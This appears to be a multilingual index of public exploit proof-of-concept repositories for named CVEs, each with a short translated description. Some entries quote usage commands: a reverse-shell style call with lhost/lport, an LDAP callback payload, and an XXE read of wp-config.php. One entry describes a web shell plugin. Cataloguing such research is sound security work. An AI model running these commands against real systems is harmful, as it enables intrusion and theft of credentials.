cve-2019-1663

🚀 Explotación de CVE-2019-1663 🧩 Introducción Este repositorio documenta la explotación de CVE-2019-1663, una vulnerabilidad crítica de ejecución remota de código RCE que afecta a los routers VPN Wireless-N Cisco RV110W, RV130W y RV215W. Debido a una validación de entrada insuficiente en la...

diffplug__goomph_CVE-2022-26049_3-37-1

Goomph: IDE als Build-Artefakt Außerdem Plugins für die Arbeit mit SWT, OSGi, p2 und Eclipse RCP...

CVE-2024-32002

CVE-2024-32002 Dépôt pour tester CVE-2024-32002 combiné avec Hook...

wonderplugin

Wonderplugin per RCE NON USARE QUESTO PLUGIN FALSO SUL TUO SERVER WEB DI PRODUZIONE! Questo repository è pensato per testare una vulnerabilità su WonderCMS; questo plugin falso contiene una web shell backdoor, che puoi trovare nel file evil.php. Articolo correlato WonderCMS 3.1.3 - Vulnerabilità ...

CVE-2026-63030-CVE-2026-60137-wp2shell-poc

wp2shell — WordPress REST API Zeitbasierte Blind-SQLi → RCE Proof‑of‑Concept Beschreibung pocwptot.py ist ein Proof‑of‑Concept PoC zur Ausnutzung einer zeitbasierten Blind-SQL-Injection-Schwachstelle im WordPress REST API Batch-Endpunkt und zur Durchführung einer Eskalationskette bis hin zur Remo...

CVE-2022-1329-WordPress-Elementor-RCE

CVE-2022-1329-WordPress-Elementor-RCE Questa poc è basata su quella di AkuCyberSec. Versione cinese Utilizzo Usa docker-compose per avviare l'ambiente vulnerabile: root@kitploit: docker-compose up -d Quindi puoi accedere alla pagina Admin di WordPress tramite l'URL http://localhost:8000. Registra...

CVE-2022-27413

Hospital-Management-System v1.0 - SQLi Venditore Descrizione: La pagina vulnerabile è admin.php http://you ip/HMS/admin.php Hospital-Management-System v1.0 Il parametro adminname nella pagina admin.php risulta vulnerabile ad attacchi di SQL injection...

CVE-2024-9264

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC Python Proof of Concept für CVE-2024-9264, eine Grafana SQL Expressions Schwachstelle, die authentifizierten lokalen Dateizugriff und Befehlsausführung ermöglichen kann, wenn duckdb im PATH des Grafana-Prozesses verfügbar ist. Nur für...

CVE-2020-17519

CVE-2020-17519 Strumento di Traversal dei Log Uno strumento Python che utilizza una tecnica di directory traversal per richiedere file di log da un URL di destinazione. Mostra l'avanzamento in tempo reale, supporta la configurazione del proxy e, opzionalmente, salva le risposte valide...

CVE-2018-4879

git clone https://github.com/Sch01ar/CVE-2018-4878.git cd CVE-2018-4878/ python cve-2018-4878.py...

Website

नया तेल मिशन वक्तव्य पाठकों को शिक्षित करना कि गोपनीयता और सुरक्षा क्यों महत्वपूर्ण हैं, और उनके स्वयं की गोपनीयता और सुरक्षा को पुनः प्राप्त करने और संरक्षित करने में मदद करने के लिए उपलब्ध विभिन्न उपकरण और तकनीकें पाठकों को सशक्त बनाना कि वे विश्वास करें कि गोपनीयता और सुरक्षा सभी के लिए प्राप्...

CVE-2024-6387

CVE-2024-6387 CVE-2024-6387 POC Wird derzeit bearbeitet openssh CVE-2024-6387 - PoC 📜 Beschreibung Hinweis: Dieses Skript ist ein schneller Prototyp-PoC; es können Fehler und Probleme auftreten. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04 Schwachstelle für Remote-Codeausführung ohne...

CVE-2000-0979

CVE-2000-0979 CVE-2000-0979.rb ist das eigenständige Tool, um CVE-2000-0979 gegen den Windows 95 SMB-Dienst auszunutzen. msf20000979.rb ist das Metasploit-Modul. Sie können dies in ⁨metasploit-framework⁩ ▸ ⁨modules⁩ ▸ ⁨auxiliary⁩ ▸ scanner⁩ ▸ ⁨smb⁩ kopieren. Weitere Dokumentation folgt in Kürze!...

CVE-2022-44877

Usa il modulo go-exploit Quando la modalità modulo è disattivata root@kitploit: go get github.com/vulncheck-oss/go-exploit Quando la modalità modulo è attivata root@kitploit: go mod init example.com/myapp go get github.com/vulncheck-oss/go-exploit Compila root@kitploit: go build -o cve-2022-44877...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2014-4688

CVE-2014-4688 root@kitploit: python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

cve-2024-21980-poc

Vulnerabilità del firmware SEV Questo repository contiene un exploit per una vulnerabilità nel firmware SEV. L'exploit consente di decrittare memoria arbitraria di un guest SEV-SNP dopo che è stato dismesso. Testato sulla versione 1.55.16 l'ultima al momento della scrittura. Causa principale Il...

CVE-2017-5638

CVE-2017-5638 Inhaltsverzeichnis 1. Übersicht 2. Abhängigkeiten 3. Verwendung Übersicht Dieses Projekt ist ein Proof-of-Concept für die Apache Struts Sicherheitslücke. Das Ziel war es, eine Software zu erstellen, die zufällige IP-Adressen generieren und auf die oben beschriebene Sicherheitslücke...

CVE-2020-9484-exploit

CVE-2020-9484-exploit Apache Tomcat Esecuzione remota di codice Prima di eseguire lo script, modifica il percorso di ysoserial in base al percorso del tuo file. ysoserial : https://github.com/frohoff/ysoserial per ulteriori riferimenti :...

CVE-2021-29447

CVE-2021-29447 WordPress 5.6-5.7 - Autenticato Author+ XXE https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/ uso: -l LHOST esempio: 127.0.0.1 -n NAME esempio: payload.wav -dn DTDNAME esempio: evil.dtd -r READ esempio: ../wp-config.php evil-wav-dtd-xxe.py: error: the following...